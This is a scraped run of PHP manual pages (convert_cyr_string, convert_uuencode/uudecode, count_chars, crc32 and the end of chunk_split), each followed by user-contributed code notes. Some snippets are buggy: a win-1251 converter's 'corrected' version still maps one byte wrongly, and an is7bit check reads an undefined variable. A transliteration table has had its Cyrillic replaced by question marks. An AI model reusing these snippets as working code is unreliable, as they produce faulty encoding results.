This is a much simpler solution.

<?php
function longWordWrap($string) {
    $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
    $words = explode(" ", $string); // now split by space
    foreach ($words as $word) {
        $outstring .= chunk_split($word, 12, " ") . " ";
    }
    return $outstring;
}
?>
phpkid 28-May-2005 07:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
    $Exploded = explode(" ", $String);
    $Max_Parts = count($Exploded);

    $CurArray = 0;
    $OutString = '';
    while($CurArray<=$Max_Parts)
    {
        $Peice_Size = strlen($Exploded[$CurArray]);
        if($Peice_Size>15)
        {
            $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
            $CurArray++;
        } else {
            $OutString .= " ".$Exploded[$CurArray];
            $CurArray++;
        }
    }

    return $OutString;
}
mv@NOSPAM 24-Jan-2004 04:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo 10-Dec-2003 11:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
will return FF:99:FF


Convert from one Cyrillic character set to another

  • « chunk_split
  • convert_uudecode »
  • PHP Manual
  • String Functions
  • Convert from one Cyrillic character set to another

convert_cyr_string

(PHP 4, PHP 5)

convert_cyr_string — Convert from one Cyrillic character set to another

Description

string convert_cyr_string ( string $str , string $from , string $to )

Converts from one Cyrillic character set to another.

Parameters

str

The string to be converted.

from

The source Cyrillic character set, as a single character.

to

The target Cyrillic character set, as a single character.

Supported characters are:

  • k - koi8-r
  • w - windows-1251
  • i - iso8859-5
  • a - x-cp866
  • d - x-cp866
  • m - x-mac-cyrillic

Return Values

Returns the converted string.

Notes

Note: This function is binary-safe.

User Contributed Notes

strrev(&#34;moc dot liamg at voglod dot yilisav&#34;); 20-Feb-2009 09:02
Unfortunately input data must be a string only. But it is may be changed! ;)

To convert multi-dimensional array I use this recursive function:

<?php
function convert_cyr_array($array,$from,$to){
    foreach($array as $key=>$value){
        if(is_array($value)) {
            $result[$key] = convert_cyr_array($value,$from,$to);
            continue;
        }
        $result[$key] = convert_cyr_string($value,$from,$to);
    }
    return $result;
}
?>

An example:

<?php
$array[0] = "сВМПЛП";
$array[1] = "зТХЫБ";
$array[2] = array("пЗХТЕГ","рПНЙДПТ");
$array[3] = array(
                     array("бРЕМШУЙО","нБОДБТЙО"),
                     array("бВТЙЛПУ","рЕТУЙЛ")
                );

$result = convert_cyr_array($array,"k","w");
/* Returns:

Array
(
  [0] => Яблоко
  [1] => Груша
  [2] => Array
    (
      [0] => Огурец
      [1] => Помидор
    )
  [3] => Array
    (
      [0] => Array
        (
          [0] => Апельсин
          [1] => Мандарин
        )
      [1] => Array
        (
          [0] => Абрикос
          [1] => Персик
        )
    )
)*/
?>
apoc at ukr dot net 17-Sep-2007 07:43
:) what about NUMBER!!!???

    function Utf8Win($str,$type="w")
    {
        static $conv='';
        if (!is_array($conv))
        {
            $conv = array();
            for($x=128;$x<=143;$x++)
            {
                $conv['u'][]=chr(209).chr($x);
                $conv['w'][]=chr($x+112);
            }
            for($x=144;$x<=191;$x++)
            {
                $conv['u'][]=chr(208).chr($x);
                $conv['w'][]=chr($x+48);
            }
            $conv['u'][]=chr(208).chr(129); // Ё
            $conv['w'][]=chr(168);
            $conv['u'][]=chr(209).chr(145); // ё
            $conv['w'][]=chr(184);
            $conv['u'][]=chr(208).chr(135); // Ї
            $conv['w'][]=chr(175);
            $conv['u'][]=chr(209).chr(151); // ї
            $conv['w'][]=chr(191);
            $conv['u'][]=chr(208).chr(134); // І
            $conv['w'][]=chr(178);
            $conv['u'][]=chr(209).chr(150); // і
            $conv['w'][]=chr(179);
            $conv['u'][]=chr(210).chr(144); // Ґ
            $conv['w'][]=chr(165);
            $conv['u'][]=chr(210).chr(145); // ґ
            $conv['w'][]=chr(180);
            $conv['u'][]=chr(208).chr(132); // Є
            $conv['w'][]=chr(170);
            $conv['u'][]=chr(209).chr(148); // є
            $conv['w'][]=chr(186);
            $conv['u'][]=chr(226).chr(132).chr(150); // №
            $conv['w'][]=chr(185);
        }
        if ($type == 'w') { return str_replace($conv['u'],$conv['w'],$str); }
        elseif ($type == 'u') { return str_replace($conv['w'], $conv['u'],$str); }
        else { return $str; }
    }
Vasyl Skotona 15-Sep-2007 06:28
A better function to convert cp1251 string to utf8.
Works with russian and ukrainian text.

function unicod($str) {
    $conv=array();
    for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
    for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
    $conv[184]=chr(209).chr(145); #ё
    $conv[168]=chr(208).chr(129); #Ё
    $conv[179]=chr(209).chr(150); #і
    $conv[178]=chr(208).chr(134); #І
    $conv[191]=chr(209).chr(151); #ї
    $conv[175]=chr(208).chr(135); #ї
    $conv[186]=chr(209).chr(148); #є
    $conv[170]=chr(208).chr(132); #Є
    $conv[180]=chr(210).chr(145); #ґ
    $conv[165]=chr(210).chr(144); #Ґ
    $conv[184]=chr(209).chr(145); #Ґ
    $ar=str_split($str);
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
    return $nstr;
}
Sote Korveziroski 24-May-2006 11:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski 24-May-2006 07:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru 23-Mar-2006 09:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_flip($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru 23-Mar-2006 08:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_reverse($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}
webmaster at chassidus dot ru 30-Aug-2005 07:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

    for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
    return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>223) {
            $xchr=ord($xchr)+1264;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function unicode_russian($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>191) {
            $xchr=ord($xchr)+848;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function decode_unicoded_hebrew($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
                $xchr=chr($code);
               } else { //other unicode
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else //not unicode
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}

function decode_unicoded_russian($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
                $xchr=chr($code);
               } else {
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}
cathody at mail dot ru 27-Jul-2005 03:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

    static $conv='';
    if (!is_array ( $conv ))
    {
        $conv=array ();
        for ( $x=128; $x <=143; $x++ )
        {
          $conv['utf'][]=chr(209).chr($x);
          $conv['win'][]=chr($x+112);
        }

        for ( $x=144; $x <=191; $x++ )
        {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
        }

        $conv['utf'][]=chr(208).chr(129);
        $conv['win'][]=chr(168);
        $conv['utf'][]=chr(209).chr(145);
        $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
          return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
          return str_replace ( $conv['win'], $conv['utf'], $str );
     else
        return $str;
  }
?>
felix[at]tvpro.net.ru 13-Feb-2005 09:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
standov at cgu dot kiev dot ua 08-Dec-2004 10:05
He is improved function to decode win1251->UTF8
<?php
        function win2utf($s){
            $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
            for($i=0; $i<strlen($s); $i++)    {
                $c=ord($s[$i]);
                if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
                elseif ($c>239) $t.=$c209.chr($c-112);
                elseif ($c==184) $t.=$c209.$c209;
                elseif ($c==168)    $t.=$c208.$c129;
                else $t.=$s[$i];
            }
            return $t;
        }
?>
aeon 28-Dec-2003 05:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
threed [at] koralsoft.com 28-Jul-2003 01:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
    for($i=0, $m=strlen($s); $i<$m; $i++)    {
        $c=ord($s[$i]);
        if ($c<=127) {$t.=chr($c); continue; }
        if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
        if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
        if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
        if ($c==184) { $t.=chr(209).chr(209); continue; };
    if ($c==168) { $t.=chr(208).chr(129);  continue; };
    }
    return $t;
}
?>
german at artexpert dot ee 04-May-2003 02:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
    for($i=0,$m=strlen($s);$i<$m;$i++) {
        $c=ord($s[$i]);
        if ($c>127) // convert only special chars
            if     ($c==184)    $t.=chr(209).chr(209); // small io
            elseif ($c==168)    $t.=chr(208).chr(129); // capital io
            else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
        else $t.=$s[$i];
    }
    return $t;
}
?>

Hope this helps
pavel_bashkatov at elkogroup dot com 17-Apr-2003 02:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
    {
        $ru = array('A', 'a',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?');

        $en = array('A', 'a',
                    'B', 'b',
                    'V', 'v',
                    'G', 'g',
                    'D', 'd',
                    'E', 'e',
                    'E', 'e',
                    'Zh', 'zh',
                    'Z', 'z',
                    'I', 'i',
                    'J', 'j',
                    'K', 'k',
                    'L', 'l',
                    'M', 'm',
                    'N', 'n',
                    'O', 'o',
                    'P', 'p',
                    'R', 'r',
                    'S', 's',
                    'T', 't',
                    'U', 'u',
                    'F', 'f',
                    'H', 'h',
                    'C', 'c',
                    'Ch', 'ch',
                    'Sh', 'sh',
                    'Sch', 'sch',
                    '\'', '\'',
                    'Y', 'y',
                    '\'', '\'',
                    'E', 'e',
                    'Ju', 'ju',
                    'Ja', 'ja');

        return str_replace($ru, $en, $cyrstr);
    }
?>
mokvas at freemail dot org dot mk 31-Jul-2001 06:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.


Decode a uuencoded string

  • « convert_cyr_string
  • convert_uuencode »
  • PHP Manual
  • String Functions
  • Decode a uuencoded string

convert_uudecode

(PHP 5)

convert_uudecode — Decode a uuencoded string

Description

string convert_uudecode ( string $data )

convert_uudecode() decodes a uuencoded string.

Parameters

data

The uuencoded data.

Return Values

Returns the decoded data as a string or FALSE on failure.

Examples

Example #1 convert_uudecode() example

<?php
/* Can you imagine what this will print? :) */
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

See Also

  • convert_uuencode() - Uuencode a string

User Contributed Notes

There are no user contributed notes for this page.


Uuencode a string

  • « convert_uudecode
  • count_chars »
  • PHP Manual
  • String Functions
  • Uuencode a string

convert_uuencode

(PHP 5)

convert_uuencode — Uuencode a string

Description

string convert_uuencode ( string $data )

convert_uuencode() encodes a string using the uuencode algorithm.

Uuencode translates all strings (including binary's ones) into printable characters, making them safe for network transmissions. Uuencoded data is about 35% larger than the original.

Parameters

data

The data to be encoded or FALSE on failure.

Return Values

Returns the uuencoded data.

Examples

Example #1 convert_uuencode() example

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

See Also

  • convert_uudecode() - Decode a uuencoded string
  • base64_encode() - Encodes data with MIME base64

User Contributed Notes

abc518 at gmail dot com 26-Sep-2008 10:06
Using uuencode for passwords isn't any more secure than plain text (maybe slightly: non-developers or too lazy to figure out what you used). mcrypt or even md5 is much more secure.
zash at zash dot se 30-May-2008 09:30
note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem.
allali at labri dot fr 02-Apr-2008 09:06
if you want to use convert_uuencode with command uudecode you must insert a line "begin %s %s\n" at the beginning and "end\n" at the end:

<?php

echo "begin 644 hello.txt\n";
echo convert_uuencode("hello");
echo "end\n";

?>

the first arg. after begin is the mode (destination file rights), the second is the destination file name.

Then you can do a wget followed by a uudecode.

JA.
root at mantoru dot de 10-Nov-2007 06:29
@Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings:

File: JPG, 631614 bytes

== Base64 ==
execution time: 0.0039639472961426 secs
output length: 842152

== UUencode ==
execution time: 0.004105806350708 secs
output length: 870226
tmaschler at NOSPAM dot ditf-denkendorf dot de 20-Sep-2006 10:46
Note to the tip of Craig at frostycoolslug dot com:

If you are using fulltext functionality on columns with uuencoded texts, collations will not work. You might prefer to pass the text escaped to the database engine.
nmmm at nmmm dot nu 12-Apr-2006 05:17
uuencode is recognisable as email attachment in Ms Outlook, but in Outlook Express (at least in older versions) - is not.

This is shell script, but it may give you an idea how you can send attachments using uuencode:

cat file.bin | uuencode file.bin | mail someone@domain.com -s "file.bin"

uuencode mail attachments from other point of wiev are deprecated. However I use such technic for years now and it work well.
aidan at php dot net 29-May-2005 05:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Return information about characters used in a string

  • « convert_uuencode
  • crc32 »
  • PHP Manual
  • String Functions
  • Return information about characters used in a string

count_chars

(PHP 4, PHP 5)

count_chars — Return information about characters used in a string

Description

mixed count_chars ( string $string [, int $mode = 0 ] )

Counts the number of occurrences of every byte-value (0..255) in string and returns it in various ways.

Parameters

string

The examined string.

mode

See return values.

Return Values

Depending on mode count_chars() returns one of the following:

  • 0 - an array with the byte-value as key and the frequency of every byte as value.
  • 1 - same as 0 but only byte-values with a frequency greater than zero are listed.
  • 2 - same as 0 but only byte-values with a frequency equal to zero are listed.
  • 3 - a string containing all unique characters is returned.
  • 4 - a string containing all not used characters is returned.

Examples

Example #1 count_chars() example

<?php
$data = "Two Ts and one F.";

foreach (count_chars($data, 1) as $i => $val) {
   echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n";
}
?>

The above example will output:

There were 4 instance(s) of " " in the string.
There were 1 instance(s) of "." in the string.
There were 1 instance(s) of "F" in the string.
There were 2 instance(s) of "T" in the string.
There were 1 instance(s) of "a" in the string.
There were 1 instance(s) of "d" in the string.
There were 1 instance(s) of "e" in the string.
There were 2 instance(s) of "n" in the string.
There were 2 instance(s) of "o" in the string.
There were 1 instance(s) of "s" in the string.
There were 1 instance(s) of "w" in the string.

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

qeremy [atta] gmail [dotta] com 20-Jan-2013 03:06
Another approach to counting unicode chars.

<?php
function count_chars_unicode($str, $x = false) {
    $tmp = preg_split('//u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($tmp as $c) {
        $chr[$c] = isset($chr[$c]) ? $chr[$c] + 1 : 1;
    }
    return is_bool($x)
        ? ($x ? $chr : count($chr))
        : $chr[$x];
}

$str = "şeker şeker yâriiiiiiiiiimmmmm";
print_r(count_chars_unicode($str, 'â'));    // frequency of "â"
print_r(count_chars_unicode($str));         // count of uniq chars
print_r(count_chars_unicode($str, true));   // all chars with own frequency
?>

Outputs;
1
9
Array
(
    [ş] => 2
    [e] => 4
    [k] => 2
    [r] => 3
    [ ] => 2
    [y] => 1
    [â] => 1
    [i] => 10
    [m] => 5
)
marcus33cz 01-Feb-2012 08:43
If you have problems using count_chars with a multibyte string, you can change the page encoding. Alternatively, you can also use this mb_count_chars version of the function. Basically it is mode "1" of the original function.

<?php
/**
 * Counts character occurences in a multibyte string
 * @param string $input UTF-8 data
 * @return array associative array of characters.
 */
function mb_count_chars($input) {
    $l = mb_strlen($input, 'UTF-8');
    $unique = array();
    for($i = 0; $i < $l; $i++) {
        $char = mb_substr($input, $i, 1, 'UTF-8');
        if(!array_key_exists($char, $unique))
            $unique[$char] = 0;
        $unique[$char]++;
    }
    return $unique;
}

$input = "Let's try some Greek letters: αααααΕεΙιΜμΨψ, Russian: ЙЙЫЫЩН, Czech: ěščřžýáíé";
print_r( mb_count_chars($input) );
//returns: Array ( [L] => 1 [e] => 7 [t] => 4 ['] => 1 [s] => 5 [ ] => 9 [r] => 3 [y] => 1 [o] => 1 [m] => 1 [G] => 1 [k] => 1 [l] => 1 [:] => 3 [α] => 5 [Ε] => 1 [ε] => 1 [Ι] => 1 [ι] => 1 [Μ] => 1 [μ] => 1 [Ψ] => 1 [ψ] => 1 [,] => 2 [R] => 1 [u] => 1 [i] => 1 [a] => 1 [n] => 1 [Й] => 2 [Ы] => 2 [Щ] => 1 [Н] => 1 [C] => 1 [z] => 1 [c] => 1 [h] => 1 [ě] => 1 [š] => 1 [č] => 1 [ř] => 1 [ž] => 1 [ý] => 1 [á] => 1 [í] => 1 [é] => 1 )
?>
phpC2007 04-Dec-2007 04:42
Here's a function to count number of strings in a string. It can be used as a simple utf8-enabled count_chars (but limited to a single mode)...

<?php
function utf8_count_strings($stringChar)
{
    $num = -1;
    $lenStringChar = strlen($stringChar);

    for ($lastPosition = 0;
        $lastPosition !== false;
        $lastPosition = strpos($textSnippet, $stringChar, $lastPosition + $lenStringChar))
    {
        $num++;
    }

    return $num;
}
?>
pzb at novell dot com 29-Jul-2007 03:29
This function is great for input validation.  I frequently need to check that all characters in a string are 7-bit ASCII (and not null).  This is the fastest function I have found yet:

<?php
function is7bit($string) {
    // empty strings are 7-bit clean
    if (!strlen($string)) {
        return true;
    }
    // count_chars returns the characters in ascending octet order
    $str = count_chars($str, 3);
    // Check for null character
    if (!ord($str[0])) {
        return false;
    }
    // Check for 8-bit character
    if (ord($str[strlen($str)-1]) & 128) {
        return false;
    }
    return true;
}
?>
apinpratap at gmail dot com 30-Mar-2007 07:54
this code can find each characters count

<?php
$enter = 0;
$data = strtolower ($inputString);
foreach (count_chars ($data, 1) as $i => $val)
    {
        if ($enter == 1)
        {
            $enter = 0;
            continue;
        }
        if (chr ($i) == "\n")
        {
            echo "There are $val instance(s) of \" Enter \" in the string.\n";
            $enter = 1;
        }
        else
        {
            echo "There are $val instance(s) of \"" , chr ($i) , "\" in the string.\n";
        }
    }
?>
Eric Pecoraro 27-May-2005 04:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
    if ( count(count_chars($string,1)) < $unique) {
        echo 'false';
    }else{
        echo 'true';
    }
}

?>
seb at synchrocide dot net 17-May-2004 12:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org 30-Jan-2002 01:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com 01-Feb-2001 02:04
Here are some more experiments on this relatively new and extremely handy function.

<?php
$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'
?>

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

<?php
$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.';
?>

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)


Calculates the crc32 polynomial of a string

  • « count_chars
  • crypt »
  • PHP Manual
  • String Functions
  • Calculates the crc32 polynomial of a string

crc32

(PHP 4 >= 4.0.1, PHP 5)

crc32 — Calculates the crc32 polynomial of a string

Description

int crc32 ( string $str )

Generates the cyclic redundancy checksum polynomial of 32-bit lengths of the str. This is usually used to validate the integrity of data being transmitted.

Warning

Because PHP's integer type is signed many crc32 checksums will result in negative integers on 32bit platforms. On 64bit installations all crc32() results will be positive integers though.

So you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned crc32() checksum in decimal format.

For a hexadecimal representation of the checksum you can either use the "%x" formatter of sprintf() or printf() or the dechex() conversion functions, both of these also take care of converting the crc32() result to an unsigned integer.

Having 64bit installations also return negative integers for higher result values was considered but would break the hexadecimal conversion as negatives would get an extra 0xFFFFFFFF######## offset then. As hexadecimal representation seems to be the most common use case we decided to not break this even if it breaks direct decimal comparisons in about 50% of the cases when moving from 32 to 64bits.

In retrospect having the function return an integer maybe wasn't the best idea and returning a hex string representation right away (as e.g. md5() does) might have been a better plan to begin with.

For a more portable solution you may also consider the generic hash(). hash("crc32b", $str) will return the same string as dechex(crc32($str)).

Parameters

str

The data.

Return Values

Returns the crc32 checksum of str as an integer.

Examples

Example #1 Displaying a crc32 checksum

This example shows how to print a converted checksum with the printf() function:

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

See Also

  • hash() - Generate a hash value (message digest)
  • md5() - Calculate the md5 hash of a string
  • sha1() - Calculate the sha1 hash of a string

User Contributed Notes

D 30-Apr-2013 08:59
<?php
$i = crc32('weak_hash');

if($i < 0 ) // if hash is negative
{
        $i*=-1; // do some basic math
}

echo $i;

/*
OUTPUTS 275953381
*/
?>
JS at JavsSys dot Org 14-Apr-2013 01:22
